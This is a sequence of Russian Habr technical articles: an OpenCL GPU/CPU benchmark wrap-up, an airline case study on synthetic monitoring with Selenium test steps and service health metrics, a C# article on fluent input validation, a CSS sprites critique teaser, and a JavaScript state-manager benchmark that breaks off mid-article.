Device: Quadro FX 2800M
Calculation time statistic: (200 runs)
Med: 9.90836 ms (109.014X faster than host)
Avg: 10.7231 ms
Min: 9.82841 ms
Max: 135.924 ms
Errors:
avgRelAbsDiff = 5.25777e-008
maxRelAbsDiff = 5.83678e-007
-------------------------------------------------
Device: Intel(R) Core(TM) i7 CPU Q 820 @ 1.73GHz
Calculation time statistic: (200 runs)
Med: 82.4163 ms (13.106X faster than host)
Avg: 85.2226 ms
Min: 79.4138 ms
Max: 113.03 ms
Errors:
avgRelAbsDiff = 3.64332e-008
maxRelAbsDiff = 4.84797e-007
```
```
Device: Host
Calculation time statistic: (20 runs)
Med: 699.031 ms (0.999956X faster than host)
Avg: 699.1 ms
Min: 691.544 ms
Max: 715.233 ms
-------------------------------------------------
Device: GeForce GTX 580
Calculation time statistic: (200 runs)
Med: 2.06257 ms (338.897X faster than host)
Avg: 2.4 ms
Min: 2.03873 ms
Max: 82.0514 ms
Errors:
avgRelAbsDiff = 3.50006e-008
maxRelAbsDiff = 4.92271e-007
-------------------------------------------------
Device: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz
Calculation time statistic: (200 runs)
Med: 27.7833 ms (25.159X faster than host)
Avg: 27.49 ms
Min: 27.0154 ms
Max: 35.8386 ms
Errors:
avgRelAbsDiff = 3.64377e-008
maxRelAbsDiff = 4.89584e-007
```
Итак, приступим к разбору результатов, а результаты, надо сказать, очень даже впечатляющие. GPU на ноутбуке в ~110X быстрее хоста, а на десктопе и вовсе в ~340X быстрее, впечатляющий результат, однако. Перед тем, как в меня начнут бросать тапки и говорить, что такое сравнение не правильное, я скажу, что в нем действительно есть несколько лукавств, но не более того.
Во-первых, я мы тут не учитываем время копирования данных на устройство и обратно. С одной стороны, это неправильно, так как с учетом копирования все может выглядеть не так радостно. С другой стороны, копирование можно выполнять одновременно с вычислениями, а может его и вовсе не нужно производить, если данные уже находятся на устройстве. В общем все далеко не так однозначно и зависит от конкретной задачи.
Во-вторых, помните как выглядел математический код? Для тех, кто не смотрел на него, скажу, что это много много математических операций над одними и теми же данными, причем получился он путем простого копипаста и замены цифр в коэффициентах, а изначально он был проще и занимал всего одну строку, только вот когда я начал тестировать, результаты были не такие радостные, GPU было всего в 4-5 раз быстрее. Как думаете, почему? (вопрос риторический, можно не думать:)). А все просто, мы уперлись в производительность памяти. Я надеюсь, что попозже у меня дойдут руки и я напишу статью о взаимосвязи производительности памяти и процессора, но это отдельная история, в этой статье нам интересен лишь тот факт, что с данным ядром у нас получился чистый тест арифметической производительности процессора.
Учитывая эти два момента, можно сказать, что GPU действительно в сотни раз быстрее не-параллельного кода на CPU для чистой арифметики, что в целом, соответствует разнице в теоретической производительности. (Еще одна надежда на то, что дойдут руки замерить реальные цифры и их соответствие теории для другой статьи).
Но о том, что GPU быстро считает мы знаем, а в результате нашего теста получилось, что и CPU выполняет OpenCL код довольно быстро, если быть точным, то в 13X и 25Х раз быстрее, чем обычный код скомпилированный MSVC10 с дефолтными настройками. Давайте разбираться, как так получается и откуда взялись эти цифры.
Оба процессора содержат 4 реальных и 8 виртуальных ядер, а OpenCL как раз и сделан для того, чтобы все ядра использовать, но улучшение у нас гораздо больше, чем 4Х. А тут надо сказать спасибо Intel, которая в своей реализации OpenCL, добавила поддержку автоматической векторизации, т.е. без каких-либо изменений в коде, OpenCL использует SSE или AVX, в зависимости от того, что доступно. Учитывая, что SSE у нас 128битное, а AVX работает с 256битами, получается, что производительность должна подняться в 16X и 32X соответственно. Это уже ближе к истине, но все еще не совсем точное совпадение. А дальше нам надо вспомнить о такой радостной штуке, как TurboBoost. Процессоры эти работают на частотах 1,73GHz/3,06GHz (ноутбук) и 3,4GHz/3,8GHz (десктоп), но по факту могу сказать, что частота ноутбучного процессора скачет от 1,73 до 2,8 непрерывно, да и греется он весьма сильно (тут следует бросить большой каметь в Dell за кривую систему охлаждения), поэтому реально во время теста частоты 3,06GHz сколь нибудь значимое время мы не увидим. Плюс не надо забывать, что практический результат всегда меньше теоретически возможного (десктоп по идее должен работать быстрее), но как мы видим, 25Х улучшение производительности можно получить практически бесплатно на одном и том же железе.
Заключение
==========
Задачей этой статьи не была попытка объяснить все детали работы с OpenCL, скорее это была попытка показать, что все не так уж сложно (вот [тут](http://habrahabr.ru/post/125398/) я уже писал, что не все так просто) и в идеальных условиях можно получить очень впечатляющую производительность, причем даже на одном и том же железе, да к тому же можно использовать один и тот же код для всех устройств. Но помните, что это почти идеальные условия, которые бывают далеко не всегда.
PS: Для тех, кто хочет побаловаться с кодом и посмотреть тесты на другом железе, проект (и даже собранный экзешник) лежит на [гитхабе](https://github.com/Akson/OpenCL_Test1). Для запуска может понадобиться OpenCL SDK от производителей вашего железа.
PS2: Если у кого-нибудь есть Ivy Bridge, было бы интересно посмотреть на тест встроенного видеоядра. Дело в том, что в последней версии OpenCL SDK, Intel открыла доступ к IGP, но только для последнего поколения процессоров, а таких у меня под рукой нет. Да и на результаты AMD интересно взглянуть. | https://habr.com/ru/post/146823/ | null | ru | null |
# Мониторинг производительности приложений и метрики здоровья без APM
Привет, Habr! Я уже рассказывал про AIOps и методы машинного обучения в работе с ИТ инцидентами, про зонтичный мониторинг и различные подходы к сервис менеджменту. Сейчас хотелось бы поделиться вполне конкретным алгоритмом, как можно без особых затрат быстро получить информацию о работоспособности бизнес-приложений с помощью синтетического мониторинга и построить на базе этого метрики здоровья бизнес-сервисов. Рассказ будет построен на кейсе внедрения подхода в одной авиакомпании.
Сейчас есть много APM систем, таких как Appdynamics, Dynatrace, и других, где есть внутри модуль контроля UX через синтетические проверки. И если стоит задача быстрее пользователей узнать о сбое, я расскажу почему все эти APM не нужны. Также модной фишкой APM являются метрики здоровья, я покажу как можно их построить без APM.
### Зачем еще одно решение, когда уже есть несколько ИТ-мониторингов?
Хорошо настроенный ИТ-мониторинг позволяет снять множество задач поддержки ИТ, но они ограничены в решении сразу нескольких проблем:
**1. Первым делом самолеты**
Технический мониторинг не позволяет оценить состояние бизнес-функций систем и инфраструктуры на площадках. Например, когда пропадает канал связи на площадке – это событие для сетевого инженера, но не для бизнеса. У нас есть более сложные кейсы, когда есть несколько помещений с терминалами, где лётный состав должен пройти check-in. В каждом помещении до пяти терминалов, во время «разлёта» мы понимали, что поломка одного-двух терминалов в комнате не влияет на процедуру, однако три-четыре – создадут очередь среди лётного состава, что может повлиять на выполнение одной из важных метрик – «выполнение плана полётов», и часть лётного состава нужно отправить в другую комнату. При потере пяти терминалов – мы теряем в этом помещении ряд бизнес-функций и запускается BCP (Business Сontinuity Planning) – план действий, когда бизнес работает без ИТ. Настроить подобные кейсы простым техническим мониторингом сложно, а продуктовым командам нужен простой инструмент, которые не требует больших компетенций в ИТ-мониторинге.
**2. Проводить проверку производительности приложений, но не «закопаться» в обработке результатов**
Комплексные системы практически невозможно на 100% покрыть мониторингами метрик или логов. Всегда найдётся что-то, не покрытое мониторингами, из-за чего бизнес-функция системы может оказаться недоступной или деградированной. И тут приходит на помощь способ проверки через эмуляцию работы бизнес-функций методом синтетических транзакций, то есть имитация того, как человек в браузере или на "толстом" клиенте нажимает на кнопки и получает некий результат. Она гарантированно скажет о доступности бизнес-функции для остальных пользователей. Но систем и тестов много, просматривать результаты каждого — трудозатратно и долго. Нужен еще инструмент «оркестрации» синтетических тестов, визуализации результатов.
**3. Перестать звонить и спрашивать «единственного, кто знает»**
В организациях с крупным IT все системы переплетены друг с другом интеграциями настолько, что порой сложно понять, где кончается одна система и начинается другая. В результате в случае сбоя одной системы совершенно не очевидно, как он может повлиять на другие системы. Информация о взаимосвязи систем обычно только в одном «хранилище» — в головах техлидов продуктовых команд. Нужно было сделать эти данные открытыми и доступными, чтобы в случае сбоя не нужно было опрашивать сотрудников, которые обладают какой-либо информацией. Решить эту задачу могла бы ресурсно-сервисная модель, которая отражала бы влияние различных элементов инфраструктуры на стабильность работы бизнеса.
**4. Хьюстон, у нас проблемы?.. или нет?**
Конкретно в этой авиакомпании использовалось несколько мониторингов:
А) мониторинг «коробок» и каналов связи – Zabbix, Prometheus для систем в kubernetes
Б) мониторинг логов на платформе семейства ELK (elastic – logstash – kibana).
Любой из них мог сообщить об отклонениях, не было одного места, где можно узнать о состоянии компонентов в целом.
**5. Отчёты не отчётов ради**
Руководство компании хочет видеть состояние бизнес-функций, а не ИТ-компонентов, причем как в ретроспективе, так и в реальном времени. Отчеты должны быть доступны в одном месте, с понятной «не для технарей» визуализацией, а не в интерфейсах, созданных инженерами для инженеров (вроде дашборда Zabbix или Grafana). Такие отчеты должны быть ежедневными и отражать, что происходило за сутки в зоне ответственности разных исполнителей и какие именно события повлияли на деградацию того или иного сервиса. Раньше такие отчеты были часто субъективными – они были основаны на передаваемых инженерами сводках о значимых событиях. С каждой ответственной, как правило приходилось созваниваться лично и уточнять детали.
**6. Куда бежать в первую очередь?**
Также была потребность считать SLA с учётом влияния на бизнес. К примеру, в определенный город есть рейс по средам. Недоступность связи с аэропортом в другие дни, а также в день полёта в районе пяти часов до вылета на самом деле никакого влияния на работу не оказывает. Это хотелось бы учитывать при анализе SLA за период. Кроме того, SLA должны помогать инженерам расставить приоритеты в действиях: одно дело, если событие происходит в районе вылета – на это необходимо реагировать 24/7 и срочно, другое дело – если в ближайшее время ИТ функциями никто пользоваться не планирует, и такие события можно брать в работу в порядке очереди. Решить указанные проблемы хотелось инструментом интуитивно понятным, не требующим наличия глубоких технических компетенций в продуктовых командах.
Мы начали внедрять решение, которое закрыло бы все эти задачи, которые не решаются ИТ-мониторингом.
В итоге мы получили следующий набор компонентов мониторинга:
1. Zabbix и Prometheus для анализа метрик
2. ELK для анализа логов
3. Jenkins для управления запуском синтетических проверок, по сути это автотесты, плюс Selenium, как библиотека с помощью которой пишутся на Python эти автотесты
4. Monq для агрегации всех событий, оркестрации синтетических проверок, зонтичной аналитики и автоматизации процессов
При этом первые два компонента уже были, а вторые два надо было поднять и интегрировать между собой.
Необходимо было решить следующие задачи:
1. Убедиться, что решение может выступать единым место для агрегации данных по текущим системам мониторинга;
2. Визуализировать и свести в одну систему результаты выполнения функциональных синтетических тестов, как для web интерфейсов, так и для desktop приложений;
3. Построить ресурсно-сервисную модель сервисов в рамках всего ИТ;
4. Настроить автоматизацию по оповещениям и проверить возможности автоматизации на базе скриптов.
Для инсталла платформы и необходимого окружения по функциональному мониторингу нам потребовалось выделить 11 виртуальных машин (4 ушло под monq, 7 для нод Jenkins). Выделение ресурсов было, пожалуй, самым длительным этапом нашего проекта.
Синтетический мониторинг
------------------------
Синтетический мониторинг - это иммитация действий, которые могли бы совершить пользователи или внешние системы, с последующим мониторинга результатов этих действий. Иногда его также называют функциональным мониторингом или мониторингом синтетических транзакций.
Как я уже писал выше, в этом проекте нам надо было показать клиенту, что мы можем тестировать web-интерфейсы, desktop приложения и проверять доступность бизнес-функций.
По итогу, было написано ряд функциональных автотестов, которые проверяли бизнес-функции. При этом тесты были относительно небольшими и состояли из нескольких шагов, периодичность запуска тестов - 5 минут. Ключевым было: проверить авторизацию в системах, проверить отображение важной информации для конечных пользователей. По каждому шагу в тесте были настроены триггеры по критическому времени выполнения шагов.
В результате мы увидели результаты тестов, на основании которых, можно было уже проводить оценку работы бизнес функций наших приложений, благодаря тому, что в интерфейсе видна ошибка, из-за которой тот или иной шаг провалился и прикреплен скриншот экрана в этот момент.
*Пример проверки авторизации на интранет-портале*
*Пример проверки доступности табло рейсов*
Опишу подробнее логику одного web-теста по шагам:
**1.** **Открываем страницу авторизации портала. Проверяем, есть ли текст - "Единый вход"**
```
browser.timeout = 25
with allure.step('Шаг 1. Открытие страницы авторизации'):
try:
browser.get("https://***/")
browser.xpath("/html/body/div[2]")
assert browser.xpath("/html/body/div[2]/div[1]/span[contains(text(), 'Единый вход:')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
**2. Проходим авторизацию. Вводим необходимые данные, нажимаем на кнопку "Вход"**
```
with allure.step('Шаг 2. Авторизация пользователя'):
try:
smi_login = browser.xpath("//*[@id='IDToken1']")
smi_login.click()
smi_login.send_keys("***")
smi_password = browser.xpath("//*[@id='IDToken2']")
smi_password.click()
smi_password.send_keys("***")
browser.xpath("/html/body/div[2]/div[2]/form/input[1]").click()
assert browser.xpath("/html/body/app-root/div/div/s7-header/div/div/div/div/div[1]/h1[contains(text(), 'Табло рейсов')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
**3. Открываем страницу с информацией по рейсу. Выбираем рейс, кликаем на него, открывается информация по рейсу и проверяем наличие текста "Информация по рейсу"**
```
with allure.step('Шаг 3. Открытие страницы с информацией по рейсу'):
try:
browser.xpath("//*[@id='flightTable']/tbody/tr[1]/td[1]").click()
browser.xpath("/html/body/app-root/div/div/main/flight-info/div/div/leg-info/div/div/div[1]/div[1]/passengers-summary/div/div[1]/div[2]/div[1][contains(text(), 'Лист ожидания')]")
allure.attach('screenshot', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
except:
allure.attach('error_screen', browser.get_screenshot_as_png(), type=AttachmentType.PNG)
raise
```
Цифровое здоровье сервисов
--------------------------
Метрика цифрового здоровья - это показатель, показывающий насколько элемент ИТ инфраструктуры, сервис или бизнес-функция могут удовлетворять потребности своих клиентов (прочих компонентов ИТ или конечных пользователей). Здоровье сервисов рассчитывается на базе внутренних проверок и влияния связанных по РСМ прочих ИТ компонентов. Например, если у нас из трех нод базы данных (где один master и два slave) упала одна master, то здоровье упадет до нуля, а если slave - то просто будет меньше 100% в соответствии с весовыми коэффициентами влияния в архитектуре решения.
Итак, на этом этапе в платформу уже поступали события, присутствовали результаты синтетических проверок, мы приступили к одной из самых интересных вещей - создание ресурсно-сервисной модели по терминалам, в которых летный состав проходит check-in.
Мы поделили все терминалы на точки присутствия (аэропорты) и их фактическое местоположение внутри здания, чтобы можно было проще ориентироваться визуально и в последствии можно было проще настраивать автоматизацию, в зависимости от локации и важности.
*На РСМ видна взаимосвязь элементов и их влияние друг на друга. В случае сбоя в одной КЕ «красным» загорятся связанные с ней*
*А так можно смотреть на состояние элементов на карте РСМ с их привязкой к состоянию здоровья*
Для удобства настроили несколько различных представлений РСМ, для разного уровня сотрудников.
L1 - видно здоровье "бизнеса" в целом.
L2 - здоровье информационных систем. Сюда же мы отнесли результаты функционального мониторинга. В случае, если видим ошибки по тестам, можем провалиться ниже и посмотреть детальнее, что там происходит на уровне инфраструктуры и какие события вносят деградацию или недоступность ИС.
L3 - самая подробная детализация включающая в себя работу всей инфраструктуры.
*Так на верхнем уровне видно здоровье основных ИТ сервисов компании*
Основываясь на метриках здоровья сервисов настроили автоматизацию, по некоторым событиям были настроены скрипты для управления конечными устройствами. Но это уже про другое, так что в рамках этой статьи описывать это не буду. Самое главное, что за два месяца мы настроили отображение самых важных метрик здоровья ИТ для бизнеса, построенных на синтетических проверках с анализом первопричин, на базе логов и метрик с ИТ-инфраструктуры. Стоимость программных продуктов за эти два месяца составила менее 150 тысяч рублей, а трудозатраты - 2,5 человека на фултайме. Мне кажется неплохой результат. Любой APM был бы на порядок дороже. | https://habr.com/ru/post/546772/ | null | ru | null |
# О том, как можно проверять значения, введёные пользователем
В любых программных продуктах, будь то windows-приложение или web-сайт, получение информации от пользователей зачастую осуществляется с помощью форм ввода данных.
Конечно же, нельзя быть абсолютно уверенным, что пользователь введёт именно то, что нужно, поэтому все данные необходимо тщательно проверить.
Как правило, алгоритм проверки этих данных один и тот же: «Если значение поля удовлетворяет требованию, то проверить следующее требование, иначе вывести сообщение об ошибке. Перейти к проверке значения следующего поля».
На практике это выливается с довольно длинные последовательности «if-else». Лично мне это жутко не нравилось, так как сложно с первого взгляда определить, какие поля как проверяются и какие сообщения выдаются в случае ошибок. А ведь полей в форме может быть и десять, тогда код проверки вообще затягивается. Вобщем, я задумался над тем, как можно минимизировать объём работ и вот что из этого получилось.
Я представил проверку как преобразование значения одного типа в значение другого типа (например, проверка того, что в поле введено чило, это преобразование строки в число). Тоесть проверка — это некая функция, имеющая сигнатуру делегата System.Converter.
Для проверки значение помещаем в класс обёртку:
> `public class ValidationStep
>
> {
>
> public T Value { get; set; }
>
> }`
Суть проверки заключается в последовательном вызове методов-расширений для объектов класса ValidationStep, которые опять же возращают объект класса ValidationStep. Это позволяет создавать цепочки проверок. Вот пример таких методов-расширений:
> `public static class ValidationExtensions
>
> {
>
> public static ValidationStep Validate(this T value)
>
> {
>
> return new ValidationStep { Value = value };
>
> }
>
> public static ValidationStep Validate(this ValidationStep step,
>
> Predicate predicate, string message)
>
> {
>
> if (predicate(step.Value)) return step;
>
> throw new ValidationException(message);
>
> }
>
> public static ValidationStep Convert(this ValidationStep step,
>
> Converter converter, string message)
>
> {
>
> try { return converter(step.Value).Validate(); }
>
> catch { throw new ValidationException(message); }
>
> }
>
> }`
Первый метод используется, чтобы можно было проверять объекты любых типов, торой метод осуществляет проверку на соответствие предикату, а третий на возможность преобразования значения из одного типа в другой. Также можно написать любые другие проверки, например на соответствие целого числа диапазону. Главное, что в случае неудачной проверки должно возникать исключение ValidationException, которое содержит сообщение с текстом ошибки.
Для осуществления самой проверки можно использовать следующий класс, который будет заниматься перехватом исключений:
> `public static class Validation
>
> {
>
> public static bool Validate(T value, Converter validator,
>
> Action onSuccess, Action onFailure)
>
> {
>
> try
>
> {
>
> var result = validator(value);
>
> onSuccess(result);
>
> return true;
>
> }
>
> catch (ValidationException e)
>
> {
>
> onFailure(e);
>
> return false;
>
> }
>
> }
>
> }`
А теперь о том, как это использовать. Допустим нам нужно проверить текстовое поле (tb1) и убедиться, что в него введено целое число в диапазоне от 0 до 10. Это можно сделать так:
> `Validation.Validate(
>
> tb1.Text, value => value.Validate()
>
> .Validate(x => x.Length > 0, "Введите что-нибудь")
>
> .Convert(x => Convert.ToInt32(x), "Введёное значение не является целым числом")
>
> .Validate(x => x >= 0, "Число не должно быть меньше нуля")
>
> .Validate(x => x <= 10, "Число не должно быть больше десяти"),
>
> v => MessageBox.Show("Введено корректное значение: " + v.Value),
>
> e => MessageBox.Show(e.Message));`
Учитывая, что проверок может быть больше, да и число полей в форме, как правило, больше одного, такой способ проверок может быть очень даже удобен.
Ну вот, собственно, и всё: о) | https://habr.com/ru/post/51131/ | null | ru | null |
# CSS Sprites — зло, не используйте их!
После [многочисленных](http://webo.in/articles/habrahabr/08-all-about-css-sprites/) [статей](http://webo.in/articles/habrahabr/03-presentation-layer-performance-tuning/) (на русском и [английском](http://www.alistapart.com/articles/sprites/)) на тему использования стилей для Rollover-эффектов, уменьшения задержки при открытии страницы и нагрузки на сервер, я хочу раскритиковать использование CSS Sprites. В качестве более зрелого и мощного способа можно предложить использование `data:URL` и ряд дополнительных методик. На мой взгляд, область применения CSS Sprites весьма ограничена, я хочу постараться обозначить ее данной статьей и указать, когда их лучше не использовать.
### Проблемы при верстке
С какими проблемами сталкивается верстальщик, когда использует спрайты? Это, в первую очередь, проблемы изменения каждой конкретной картинки в общем массиве. Мало того, что нужно открыть ресурсную картинку, найти в ней область, соответствующую данному небольшому изображению (которое меняется), и заменить ее, не потеряв палитру при всех изменениях. Также при изменении расположения картинок в ресурсном файле (например, перераспределили свободное место в связи с очередными дизайнерскими изменениями) нужно заново пересчитать все координаты и внести соответствия в CSS-файл.
[читать дальше на webo.in →](http://webo.in/articles/habrahabr/52-css-sprites-are-evil/ "полный текст") | https://habr.com/ru/post/28177/ | null | ru | null |
# Big State Managers Benchmark
Здравствуйте, меня зовут Дмитрий Карловский и я.. большой любитель физики высоких энергий. Сталкиваешь такой совершенно разные вещи между собой, и смотришь на бабахи, уплетая поп-корн.
Так как [в React всё очень плохо с архитектурой](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Reactive%20ReactJS), а страдают от него многие, то к настоящему времени появилось уже очень много так называемых *менеджеров состояний*. И каждый наперебой уверяет, что он самый быстрый, самый надёжный, самый компактный, самый выразительный и вообще самый правильный.
Что ж, давайте возьмём их всех и столкнём лбами друг с другом и с суровой реальностью, чтобы узнать кто же на самом деле тут батя!
Методика измерения
------------------
Важно отметить, что все приложения разные, со своими особенностями и требованиями. Так что какой бы тестовый пример мы ни придумали - он будет бесконечно далёк от вашего проекта. Так что дать точную оценку вида "с таким-то менеджером состояний ваш проект будет на 50% быстрее" невозможно. Однако, мы можем дать приблизительную оценку вида "с таким-то менеджером состояний ваш проект будет замедляться сильнее по мере роста проекта, и вот почему".
Кандидатов у нас несколько десятков, так что реализовывать какой-то большой сложный граф состояний было бы слишком трудозатратно. Поэтому нам нужен такой минимальный граф, который бы учитывал основные источники замедлений в больших приложениях. На диаграмме ниже, вы можете видеть граф из 10 состояний, соединённых множеством потоков данных, который собрал в себе множество сложных моментов, чтобы эффективно справляться с которыми, менеджер состояний должен обладать следующими свойствами:
* **Batch Changes**. Должна быть возможность разом обновить несколько состояний, не перевычисляя весь граф лишний раз.
* **Order Independent**. Порядок внесения изменений не должен влиять на порядок пересчёта узлов графа - он в любом случае должен выполняться в оптимальном порядке.
* **Ignore Unrelated**. Порой зависимость в коде не даёт зависимость по данным. В этом случае изменение зависимости не должно приводить к пересчёту зависимого.
* **Collapse Double**. Для вычисления значения узла зависимость может потребоваться несколько раз, но это не должно приводить к лишним вычислениям.
* **Skip Untouched**. Если зависимость по факту никому сейчас не требуется, то и вычислять её не надо.
* **Skip Redundant**. Если новое значение зависимости эквивалентно предыдущему (например, новый массив, но с теми же значениями), то зависимые состояния пересчитывать нет смысла.
* **Reuse Moved**. Порядок обращения к зависимостям при вычислении может раз от раза меняться, но это не должно приводить к пересчётам этих зависимостей.
* **Single Source**. Множественные подписки с побочными эффектами на одно и то же состояние, не должны приводить ко множественному вычислению этого состояния.
* **Effect Once**. Какой бы сложный ни был граф состояний, на одно изменение исходных состояний, побочный эффект должен быть выполнен лишь однажды.
В коде это выглядит примерно так, если не использовать никаких реактивных мемоизаторов и шедулеров:
```
let A = 0 // unique values: 1 2 3 4 ...
let B = 0 // toggle values: 1 2 1 2 ...
const C = ()=> A % 2 + B % 2 // toggle values
const D = ()=> [ A % 2 - B % 2 ] // same value: [0]
const E = ()=> hard_work( C() + A + D()[0] ) // unique values
const F = ()=> hard_work( D()[0] && B ) // same value
const G = ()=> C() + ( C() || E() % 2 ) + D()[0] + F() // toggle values
const H = ()=> side_effects.push( hard_work( G() ) ) // toggle values
const I = ()=> side_effects.push( G() ) // toggle values
const J = ()=> side_effects.push( hard_work( F() ) ) // single run
```
Особенно стоит отметить вычисления, производящие побочные эффекты. Запуск таких лишний раз не только снижает производительность, но и может приводить к неожиданному поведению, часто классифицируемому как баги.
Если формулы будут тривиальными, то самым быстрым решением окажется то, где идёт полный пересчёт всех состояний. На ультра-малых проектах (привет, Мир!) полный пересчёт может быть как быстрее, так и медленнее, но производительность менеджера состояний в них не особо и важна - так и так будет достаточно быстро. А вот по мере роста проекта лишние пересчёты будут всё сильнее замедлять приложение. И насколько сильно будет это замедление - очень даже важно.
Поэтому часть вычислений (помечены красным) мы сделаем искусственно тяжёлыми, чтобы эмулировать пенальти на большом проекте. Размер этого пенальти подбирался исходя из следующих соображений..
Если сделать пенальти слишком большим, то все решения распределятся на группы по числу пенальти. Но в рамках одной группы нельзя будет оценить кто эффективней добивается своего результата. Поэтому пенальти постепенно уменьшалось, пока не появлялась разница между решениями одной группы. Хорошо заметно это на вариантах кода, использующих одну и ту же библиотеку, но через разные API, дающие разные накладные расходы.
На графе состояний можно видеть:
* Исходное состояние `A` меняется на уникальное значение на каждой итерации.
* Исходное состояние `B` переключается между двумя значениями на каждой итерации.
* Промежуточное состояние `C` переключается между двумя значениями на каждой итерации.
* Промежуточное состояние `D` на каждой итерации выдаёт массив с одними и теми же значениями внутри.
* Промежуточное состояние `E` на каждой итерации то участвует в вычислениях, то не участвует. В первом случае это требует тяжёлых вычислений, а в последнем пересчитываться оно не должно.
* Промежуточное состояние `F` имеет мёртвую зависимость, которая фактически никогда не влияет на результат. Поэтому это единожды тяжело вычисленное состояние больше не должно пересчитываться вообще.
* Тяжёлый побочный эффект `H` и лёгкий `I` должны исполняться на каждой итерации, так как их зависимость постоянно меняется.
* Тяжёлый побочный эффект `J`, наоборот, исполниться должен лишь однажды, так как его зависимость не меняется.
При инициализации большинство решений исполняет все 4 тяжёлых вычисления по одному разу: `EFHJ`. А вот на каждой итерации могут быть более разнообразные варианты. Вот наиболее частые:
* **Оптимальный**: `H + EH = 3`
* **Без проверки на эквивалентность**: `FH + EFH = 5`
* **Полный ленивый пересчёт**: `FHFFJ + EFHEFFJ = 12`
* **Пересчёт каждого пути**: `HEEEHFHEEHFF + HEEEHFHJHEHEHHFHJF = 30`
По последнему пункту у вас может возникнуть резонный вопрос: да кто в своём уме будет такое бестолковое решение использовать? Однако, именно оно используется в одном из веб-фреймворков *большой тройки*. Но об этом позже..
Анализ результатов
------------------
Итак, время пришло, [запускаем коллайдер](https://perf.js.hyoo.ru/#!bench=9h2as6_u0mfnn):
Так, что за дела? Почему половина библиотек завалила тесты? А всё просто - они либо выдавали побочные эффекты для грязного состояния, либо выдавали их лишний раз, либо всё вместе. То есть эти библиотеки не пригодны к использованию в продакшене вообще. Прощай Vue, прощай React + Redux, прощай Angular + RxJS.
Ну ладно, допустим наш вымышленный большой серьёзный проект не нуждается в корректном поведении, а только в высокой производительности, так что отключим тесты, и снова запустим коллайдер:
### Как читать градусники
* 🥶 Холодный старт - нет JIT оптимизаций
* 🥵 Горячий старт - JIT оптимизации возможны
* 🔠 Оценка размера тестового кода (код после `//` игнорируется)
* 🚂 min-zip объём загруженных библиотек
* Производительность - слева, потребление памяти - справа
### Классификация решений
#### По типу API
* 🤓 **Object**. Состояние хранится в объектах, логика работы с ним пишется в методах.
* 😵 **Closure**. Каждое состояние инкапсулировано в отдельном реактивном контейнере, который связан с другими через грязные замыкания.
* 🤯 **Functional**. Состояние хранится в некотором контексте, а логика описывается как композиция чистых функций.
#### По энергичности
* 🍔 **Instant Reactions**. Если не завернуть изменение нескольких исходных состояний в транзакцию, то обновление всех зависимых состояний и применение побочных эффектов произойдёт несколько раз синхронно для каждого изменяемого исходного состояния.
* 🦥 **Lazy Working**. Побочные эффекты и необходимые для них вычисления не произойдут, пока явно их не дёрнешь. Требуют для работы дополнительного планировщика, но мы тут просто дёргаем их в каждой итерации руками.
* ⏰ **Defer Update**. Все вычисления откладываются на потом, но для замеров производительности, мы явно инициируем синхронный пересчёт графа состояний и применения побочных эффектов.
### Лига выдающихся менеджеров состояний
Встречаем лидеров: [$mol\_wire](https://github.com/hyoo-ru/mam_mol/tree/master/wire), [MobX](https://mobx.js.org/), [ReAtom](https://www.reatom.dev/), [WhatsUp](https://whatsup.js.org/docs/intro/), [CellX](https://github.com/Riim/cellx/). Они наиболее оптимально разрулили потоки данных, что дало минимальные накладные расходы: `H + EH = 3`
#### $mol\_wire
Библиотека ничего особенного не обещает в плане эффективности, однако именно она показала себя лучше всего в нашем бенчмарке. Как ей это удалось? Об этом можно почитать в статье: [Проектируем идеальную систему реактивности](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48).
#### MobX
Библиотека выполняет свои обещания и показывает хорошую эффективность, но относительно много весит, и очень плохо работает с памятью, что на больших проектах может стать проблемой.
#### ReAtom
Библиотека показывает отличную эффективность в нашем тестовом примере, не смотря на активное использование иммутабельности под капотом:
Однако, важно отметить, что на по настоящему больших графах состояний, иммутабельность может давать просадки производительности из-за работы сборщика мусора, но наш небольшой тестовый пример это отловить не может.
#### WhatsUp
Отличное решение, которое обещает нам:
..и отвечает за свои слова.
#### CellX
CellX, как и обещал, показал выдающиеся результаты, лучшие после $mol\_wire, но запутался в порядке применения побочных эффектов, и был, надеюсь временно, за это дисквалифицирован. Но расплатой за такую скорость оказалось большое потребление памяти.
### Менеджеры состояний со скамейки запасных
Библиотеки, которые звёзд с неба не хватают, но всё же проходят тесты: [SolidJS](https://www.solidjs.com/), [Reactively](https://github.com/modderme123/reactively/), [Preact](https://preactjs.com/blog/introducing-signals/), [MaverickJS](https://github.com/maverick-js/signals), [Spred](https://github.com/art-bazhin/spred), [FRP-TS](https://github.com/raveclassic/frp-ts), [Effector](https://effector.dev/).
Типичные их проблемы: не умение отсекать эквивалентные изменения и пересчёт состояний, которые никому уже не интересны.
#### SolidJS
Библиотека обещает нам бесплатную производительность за счёт детальной реактивности:
А оказывается, что она не умеет эффективно отсекать нерелевантные вычисления: `EH + EH = 4`
#### Reactively
Библиотека молодая и очень маленькая, но грозится быть очень умной в вопросах управления потоками данных:
На деле, конечно же, чуда не произошло, из-за отсутствия планировщика и отсечения эквивалентных изменений: `FH + EFH = 5`
#### Preact
Библиотека обещает быть быстрой на любых размерах приложений:
Однако, без отсечения эквивалентных изменений этого не достичь: `FH + EFH = 5`
#### Spred
Библиотека обещает нам отсутствие лишних вычислений и отличную производительность:
Но ведёт себя странно, иногда не отсекая эквивалентные изменения и не пропуская вычисления, результат которых уже никому не нужен: `EH + EFH = 5`
#### MaverickJS
Библиотека обещает лишь базовые оптимизации:
Так что не удивительно, что максимальной эффективности она достичь не может: `EFH + EFH = 6`
#### FRP-TS
Библиотека обещает лишь избавить нас от глитчей:
И действительно с этим справляется. К сожалению, функциональная природа не позволяет ей сэкономить на вычислениях, что даёт посредственную эффективность: `EFH + EFH = 6`
#### Effector
Библиотека обещает нам максимум производительности за счёт некоей статической инициализации:
